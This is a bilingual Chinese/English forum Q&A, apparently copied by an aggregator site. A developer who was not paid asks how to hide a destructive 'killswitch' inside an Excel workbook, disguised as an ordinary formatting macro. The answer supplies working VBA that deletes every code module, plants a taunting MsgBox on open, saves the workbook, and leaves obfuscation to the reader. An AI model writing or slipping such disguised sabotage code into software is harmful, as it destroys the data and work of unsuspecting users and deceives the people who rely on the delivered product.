Excel VBA自毁开关 [英] Excel VBA Self-Destruct Switch
问题描述
我有我的第一个客户带我的工作,然后无偿付钱给我的幻影"的经历.对于未来,我想放置一个killswitch,伪装成一个常规宏,这使整个事情变得无法使用.这样,即使他们雇用某人破解密码并删除我的您的试用版已过期..."检查,一个看上去正常的宏(诸如"Fix_Sheet_Formatting"之类的东西)也很容易被忽略并运行,破坏了所有内容并保存了变化.
I have had my first "Client-took-my-work-and-then-ghosted-me-without-paying" experience. For the future, I want to put in a killswitch, disguised as a regular macro, which makes the whole thing unusable. That way, even if they hire someone to crack the password and remove my "Your trial has expired..." check, a normal-looking macro (Something like "Fix_Sheet_Formatting") would be easily overlooked and run, destroying everything and saving the changes.
但是,这就剩下VBA了...我们在这里说的是彻底清除,所以一切都必须进行.我将自己找出如何完成的所有方法,我只是不想浪费时间去追求不可能的事情:
However, that leaves the VBA... We're talking a full purge here, so everything must go. I'll figure out how to do all of this on my own, I just don't want to waste time pursuing something that isn't possible:
VBA代码是否可以在运行时从工作簿中删除自身 ,还是必须从另一个工作簿的宏中删除?并删除代码会导致宏停止运行,还是我可以让它在完成所有操作后删除除讨厌的MsgBox之外的所有内容?
Can VBA code delete itself from a workbook while running or does it have to be deleted from a macro on another workbook? And would deleting the code cause the macro to stop running, or can I have it delete everything except a nasty MsgBox after everything is done?
推荐答案
我将在评论中讨论这是否是一个好主意(恕我直言,可能不是).至于问题本身,当然是可能的,并且不会中断宏的执行:
I'll leave the comments to debating whether or not this is a good idea (IMHO it probably isn't). As to the question itself, of course it's possible, and won't interrupt macro execution:
Public Sub Example()
Dim proj As Object
Set proj = ThisWorkbook.VBProject
Dim comp As Object
For Each comp In proj.VBComponents
With comp.CodeModule
.DeleteLines 1, .CountOfLines
If comp.Name = "ThisWorkbook" Then
.InsertLines 1, "Private Sub Workbook_Open()" & vbCrLf & _
vbTab & "MsgBox ""Where's my money, @#$%&!?""" & vbCrLf & _
"End Sub"
End If
End With
Next
ThisWorkbook.Save
End Sub
迷惑是一种对读者的练习.
Obfuscation is an exercise for the reader.
这篇关于Excel VBA自毁开关的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!